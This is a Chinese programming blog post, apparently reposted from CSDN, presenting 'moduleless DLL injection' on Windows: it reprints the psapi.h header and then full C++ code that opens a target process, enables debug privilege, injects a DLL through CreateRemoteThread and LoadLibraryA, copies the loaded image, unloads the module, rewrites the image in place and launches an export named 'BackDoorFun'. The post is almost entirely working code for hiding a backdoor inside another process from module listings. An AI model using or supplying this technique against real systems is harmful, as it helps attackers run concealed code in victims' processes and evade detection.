现在的位置: 首页 > 综合 > 正文

基于visual c++之windows核心编程代码分析(63)无模块dll进程注射

2013年10月04日 ⁄ 综合 ⁄ 共 12415字 ⁄ 字号 评论关闭

我们在信息安全编程的时候经常需要进行dll进程注入,

我们在编程中如何实现呢。

需要引用

Psapi.Lib,具体可以百度下载之。

其头文件如下,

  1. odule Name: 
  2.  
  3.     psapi.h 
  4.  
  5. Abstract: 
  6.  
  7.     Include file for APIs provided by PSAPI.DLL 
  8.  
  9. Author: 
  10.  
  11.     Richard Shupak   [richards]  06-Jan-1994 
  12.  
  13. Revision History: 
  14.  
  15. --*/ 
  16.  
  17. #ifndef _PSAPI_H_ 
  18. #define _PSAPI_H_ 
  19.  
  20. #ifdef __cplusplus 
  21. extern "C"
  22. #endif 
  23.  
  24. BOOL 
  25. WINAPI 
  26. EnumProcesses( 
  27.     DWORD * lpidProcess, 
  28.     DWORD   cb, 
  29.     DWORD * cbNeeded 
  30.     ); 
  31.  
  32. BOOL 
  33. WINAPI 
  34. EnumProcessModules( 
  35.     HANDLE hProcess, 
  36.     HMODULE *lphModule, 
  37.     DWORD cb, 
  38.     LPDWORD lpcbNeeded 
  39.     ); 
  40.  
  41. DWORD 
  42. WINAPI 
  43. GetModuleBaseNameA( 
  44.     HANDLE hProcess, 
  45.     HMODULE hModule, 
  46.     LPSTR lpBaseName, 
  47.     DWORD nSize 
  48.     ); 
  49.  
  50. DWORD 
  51. WINAPI 
  52. GetModuleBaseNameW( 
  53.     HANDLE hProcess, 
  54.     HMODULE hModule, 
  55.     LPWSTR lpBaseName, 
  56.     DWORD nSize 
  57.     ); 
  58.  
  59. #ifdef UNICODE 
  60. #define GetModuleBaseName  GetModuleBaseNameW 
  61. #else 
  62. #define GetModuleBaseName  GetModuleBaseNameA 
  63. #endif // !UNICODE 
  64.  
  65.  
  66. DWORD 
  67. WINAPI 
  68. GetModuleFileNameExA( 
  69.     HANDLE hProcess, 
  70.     HMODULE hModule, 
  71.     LPSTR lpFilename, 
  72.     DWORD nSize 
  73.     ); 
  74.  
  75. DWORD 
  76. WINAPI 
  77. GetModuleFileNameExW( 
  78.     HANDLE hProcess, 
  79.     HMODULE hModule, 
  80.     LPWSTR lpFilename, 
  81.     DWORD nSize 
  82.     ); 
  83.  
  84. #ifdef UNICODE 
  85. #define GetModuleFileNameEx  GetModuleFileNameExW 
  86. #else 
  87. #define GetModuleFileNameEx  GetModuleFileNameExA 
  88. #endif // !UNICODE 
  89.  
  90.  
  91. typedef struct _MODULEINFO { 
  92.     LPVOID lpBaseOfDll; 
  93.     DWORD SizeOfImage; 
  94.     LPVOID EntryPoint; 
  95. } MODULEINFO, *LPMODULEINFO; 
  96.  
  97.  
  98. BOOL 
  99. WINAPI 
  100. GetModuleInformation( 
  101.     HANDLE hProcess, 
  102.     HMODULE hModule, 
  103.     LPMODULEINFO lpmodinfo, 
  104.     DWORD cb 
  105.     ); 
  106.  
  107.  
  108. BOOL 
  109. WINAPI 
  110. EmptyWorkingSet( 
  111.     HANDLE hProcess 
  112.     ); 
  113.  
  114.  
  115. BOOL 
  116. WINAPI 
  117. QueryWorkingSet( 
  118.     HANDLE hProcess, 
  119.     PVOID pv, 
  120.     DWORD cb 
  121.     ); 
  122.  
  123. BOOL 
  124. WINAPI 
  125. InitializeProcessForWsWatch( 
  126.     HANDLE hProcess 
  127.     ); 
  128.  
  129.  
  130. typedef struct _PSAPI_WS_WATCH_INFORMATION { 
  131.     LPVOID FaultingPc; 
  132.     LPVOID FaultingVa; 
  133. } PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION; 
  134.  
  135. BOOL 
  136. WINAPI 
  137. GetWsChanges( 
  138.     HANDLE hProcess, 
  139.     PPSAPI_WS_WATCH_INFORMATION lpWatchInfo, 
  140.     DWORD cb 
  141.     ); 
  142.  
  143. DWORD 
  144. WINAPI 
  145. GetMappedFileNameW( 
  146.     HANDLE hProcess, 
  147.     LPVOID lpv, 
  148.     LPWSTR lpFilename, 
  149.     DWORD nSize 
  150.     ); 
  151.  
  152. DWORD 
  153. WINAPI 
  154. GetMappedFileNameA( 
  155.     HANDLE hProcess, 
  156.     LPVOID lpv, 
  157.     LPSTR lpFilename, 
  158.     DWORD nSize 
  159.     ); 
  160.  
  161. #ifdef UNICODE 
  162. #define GetMappedFilenameEx  GetMappedFilenameExW 
  163. #else 
  164. #define GetMappedFilenameEx  GetMappedFilenameExA 
  165. #endif // !UNICODE 
  166.  
  167. BOOL 
  168. WINAPI 
  169. EnumDeviceDrivers( 
  170.     LPVOID *lpImageBase, 
  171.     DWORD cb, 
  172.     LPDWORD lpcbNeeded 
  173.     ); 
  174.  
  175.  
  176. DWORD 
  177. WINAPI 
  178. GetDeviceDriverBaseNameA( 
  179.     LPVOID ImageBase, 
  180.     LPSTR lpBaseName, 
  181.     DWORD nSize 
  182.     ); 
  183.  
  184. DWORD 
  185. WINAPI 
  186. GetDeviceDriverBaseNameW( 
  187.     LPVOID ImageBase, 
  188.     LPWSTR lpBaseName, 
  189.     DWORD nSize 
  190.     ); 
  191.  
  192. #ifdef UNICODE 
  193. #define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW 
  194. #else 
  195. #define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA 
  196. #endif // !UNICODE 
  197.  
  198.  
  199. DWORD 
  200. WINAPI 
  201. GetDeviceDriverFileNameA( 
  202.     LPVOID ImageBase, 
  203.     LPSTR lpFilename, 
  204.     DWORD nSize 
  205.     ); 
  206.  
  207. DWORD 
  208. WINAPI 
  209. GetDeviceDriverFileNameW( 
  210.     LPVOID ImageBase, 
  211.     LPWSTR lpFilename, 
  212.     DWORD nSize 
  213.     ); 
  214.  
  215. #ifdef UNICODE 
  216. #define GetDeviceDriverFileName  GetDeviceDriverFileNameW 
  217. #else 
  218. #define GetDeviceDriverFileName  GetDeviceDriverFileNameA 
  219. #endif // !UNICODE 
  220.  
  221. // Structure for GetProcessMemoryInfo() 
  222.  
  223. typedef struct _PROCESS_MEMORY_COUNTERS { 
  224.     DWORD cb; 
  225.     DWORD PageFaultCount; 
  226.     DWORD PeakWorkingSetSize; 
  227.     DWORD WorkingSetSize; 
  228.     DWORD QuotaPeakPagedPoolUsage; 
  229.     DWORD QuotaPagedPoolUsage; 
  230.     DWORD QuotaPeakNonPagedPoolUsage; 
  231.     DWORD QuotaNonPagedPoolUsage; 
  232.     DWORD PagefileUsage; 
  233.     DWORD PeakPagefileUsage; 
  234. } PROCESS_MEMORY_COUNTERS; 
  235. typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS; 
  236.  
  237. BOOL 
  238. WINAPI 
  239. GetProcessMemoryInfo( 
  240.     HANDLE Process, 
  241.     PPROCESS_MEMORY_COUNTERS ppsmemCounters, 
  242.     DWORD cb 
  243.     ); 
  244.  
  245. #ifdef __cplusplus 
  246. #endif 
  247.  
  248. #endif 

无模块dll进程注入请见下列代码与分析

  1. #include "stdafx.h" 
  2. #include "windows.h" 
  3. #include "stdio.h" 
  4. #include "Psapi.h" 
  5. #include "Tlhelp32.h" 
  6.  
  7.  
  8. //获得加载的DLL模块的信息,主要包括模块基地址和模块大小 
  9. BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread) 
  10.         HANDLE hthSnapshot = NULL;  
  11.         // 取得指定进程的所有模块映象.  
  12.         hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);  
  13.         if (hthSnapshot == NULL)  
  14.             return FALSE; 
  15.         // 取得所有模块列表中的指定的模块.  
  16.         BOOL bMoreMods = Module32First(hthSnapshot, &Thread);  
  17.         if (bMoreMods == FALSE) 
  18.             return FALSE; 
  19.         // 循环取得想要的模块.  
  20.         for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread))  
  21.         { 
  22.             if (strcmp(Thread.szExePath, Dllfullname) == 0) 
  23.                 break;  
  24.         } 
  25.         if (strcmp(Thread.szExePath, Dllfullname) == 0) 
  26.             return TRUE; 
  27.         else 
  28.             return FALSE; 
  29.  
  30. //调整进程权限 
  31. BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName) 
  32.     //****************************************************** 
  33.     //调整进程权限 
  34.     //****************************************************** 
  35.     HANDLE hToken;                  
  36.     TOKEN_PRIVILEGES tkp;      
  37.     //打开进程的权限标记 
  38.     if (!::OpenProcessToken(hProcess,        
  39.            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))  
  40.            return FALSE; 
  41.     //传入lpPrivilegeName的Luid值 
  42.     if(!::LookupPrivilegeValue(NULL,          
  43.           lpPrivilegeName,     
  44.           &tkp.Privileges[0].Luid))  
  45.           return FALSE; 
  46.  
  47.     tkp.PrivilegeCount = 1;   
  48.     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
  49.     if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,  
  50.                          (PTOKEN_PRIVILEGES) NULL, 0)) 
  51.                          return FALSE; 
  52.     return TRUE; 
  53. //注入DLL部分 
  54. BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname) 
  55.      
  56.     //开辟虚拟空间,以便写入DLL的完整路径 
  57.     PSTR pDllName=NULL; 
  58.     if((pDllName=(PSTR)::VirtualAllocEx(hProcess, 
  59.         NULL, 
  60.         strlen(Dllfullname)+1, 
  61.         MEM_COMMIT|MEM_RESERVE, 
  62.         PAGE_EXECUTE_READWRITE))==NULL) 
  63.         return FALSE; 
  64.  
  65.     BOOL  writecode; 
  66.     if((writecode=::WriteProcessMemory(hProcess, 
  67.         pDllName, 
  68.         Dllfullname, 
  69.         strlen(Dllfullname)+1, 
  70.         NULL))==0) 
  71.         return FALSE; 
  72.  
  73.     //取得LoadLibrary函数在Kernel32.dll中的地址.  
  74.     PTHREAD_START_ROUTINE pfnThreadRtn =  
  75.             (PTHREAD_START_ROUTINE)GetProcAddress(  
  76.             GetModuleHandle("Kernel32.dll"),
    "LoadLibraryA");  
  77.     if (pfnThreadRtn== NULL) 
  78.         return FALSE; 
  79.     //打开远线程 
  80.     HANDLE  hRemoteThread=NULL; 
  81.     if((hRemoteThread=::CreateRemoteThread(hProcess, 
  82.         NULL, 
  83.         0, 
  84.         pfnThreadRtn, 
  85.         pDllName,    //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中 
  86.         0, 
  87.         NULL))==NULL) 
  88.         return FALSE; 
  89.     return TRUE; 
  90. //卸载DLL 
  91. BOOL UnistallDll(HANDLE hProcess,BYTE  * Address) 
  92.      
  93.     // 取得FreeLibrary函数在Kernel32.dll中的地址. 
  94.     HANDLE hThread  = NULL;  
  95.     PTHREAD_START_ROUTINE pfnThreadRtn =  
  96.             (PTHREAD_START_ROUTINE)GetProcAddress(  
  97.             GetModuleHandle("Kernel32.dll"),
    "FreeLibrary");  
  98.     if (pfnThreadRtn == NULL) 
  99.         return FALSE; 
  100.     // 创建远程线程来执行FreeLibrary函数.
     
  101.     hThread = ::CreateRemoteThread(hProcess,  
  102.             NULL,  
  103.             0,  
  104.             pfnThreadRtn,  
  105.             Address,  
  106.             0,  
  107.             NULL);  
  108.     if (hThread == NULL)  
  109.         return FALSE; 
  110.     // 等待远程线程终止. 
  111.     ::WaitForSingleObject(hThread, INFINITE);  
  112.     // 关闭句柄.  
  113.     ::CloseHandle(hThread); 
  114.     return TRUE; 
  115.  
  116.  
  117. #define pid 3844 
  118. #define BackDoorFun 0x1014//DLL模块中导出函数的地址 
  119. int main(int argc,
    char* argv[]) 
  120.     char Dllfullname[255]; 
  121.     char Dllname[255]; 
  122.     //打开进程 
  123.     HANDLE hRemoteProcess=NULL; 
  124.     if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,   
  125.         FALSE,  
  126.         pid))==NULL) 
  127.     { 
  128.         printf("OpenProcess faile!!"); 
  129.         return 0; 
  130.     } 
  131.  
  132.     BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME); 
  133.     if(Adjust==FALSE) 
  134.     { 
  135.         printf("Adjust process Privileges faile!!\n"); 
  136.         return 0; 
  137.     } 
  138.  
  139.     //获得DLL的完整路径 
  140.     strcpy(Dllname,"dll.dll"); 
  141.     ::GetCurrentDirectory(255,Dllfullname); 
  142.     strcat(Dllfullname,"\\"); 
  143.     strcat(Dllfullname,Dllname); 
  144.  
  145.     BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname); 
  146.     if(Res==FALSE) 
  147.     { 
  148.         printf("Inject Faile!!\n"); 
  149.         return 0; 
  150.     } 
  151.      
  152.     //等待远线程启动,否则获取不到插入的dll信息 
  153.     ::Sleep(300); 
  154.      
  155.     DWORD RemoteTheadAddress=0; 
  156.     MODULEENTRY32 Thread = {sizeof(Thread)};;  
  157.     RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread); 
  158.     if(RemoteTheadAddress==0) 
  159.     { 
  160.         printf("Get RemoteTheadAddress Faile!!\n"); 
  161.             return 0; 
  162.     } 
  163.      
  164.     //分配保存DLL加载后的的缓冲区,并保存 
  165.     char *buffer=new
    char[Thread.modBaseSize+1]; 
  166.     DWORD read; 
  167.     ::ReadProcessMemory(hRemoteProcess, 
  168.         Thread.modBaseAddr,//加载的DLL模块基地址 
  169.         buffer, 
  170.         Thread.modBaseSize,//加载的DLL代码的大小 
  171.         &read); 
  172.     //卸载DLL 
  173.     BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr); 
  174.     if(Unstall==FALSE) 
  175.     { 
  176.         printf("Unistall dll Faile!!!\n"); 
  177.         return 0; 
  178.     } 
  179.     //重新分配虚拟内存,注意从原模块基地址出开始分配 
  180.     LPVOID Alloc; 
  181.     Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
  182.     if(Alloc== NULL) 
  183.     { 
  184.         printf("VirtualAllocEx Failed!!\n"); 
  185.         return 0; 
  186.     } 
  187.  
  188.     BOOL Writer;DWORD Written; 
  189.     Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written); 
  190.     if(Writer==0) 
  191.     { 
  192.         printf("WriteProcessMemory Failed!!\n"); 
  193.         return 0; 
  194.     } 
  195.     //重新启动新的无DLL模块的线程中的函数 
  196.     HANDLE  hNewThread=NULL; 
  197.     if((hNewThread=::CreateRemoteThread(hRemoteProcess, 
  198.         NULL, 
  199.         0, 
  200.         (PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址 
  201.         NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中 
  202.         0, 
  203.         NULL))==NULL) 
  204.     { 
  205.         printf("CreateNewThread faile!!\n"); 
  206.         return 0; 
  207.     } 
  208.     return 0; 
  209. }

原文地址:http://blog.csdn.net/yincheng01/article/details/7214469

抱歉!评论已关闭.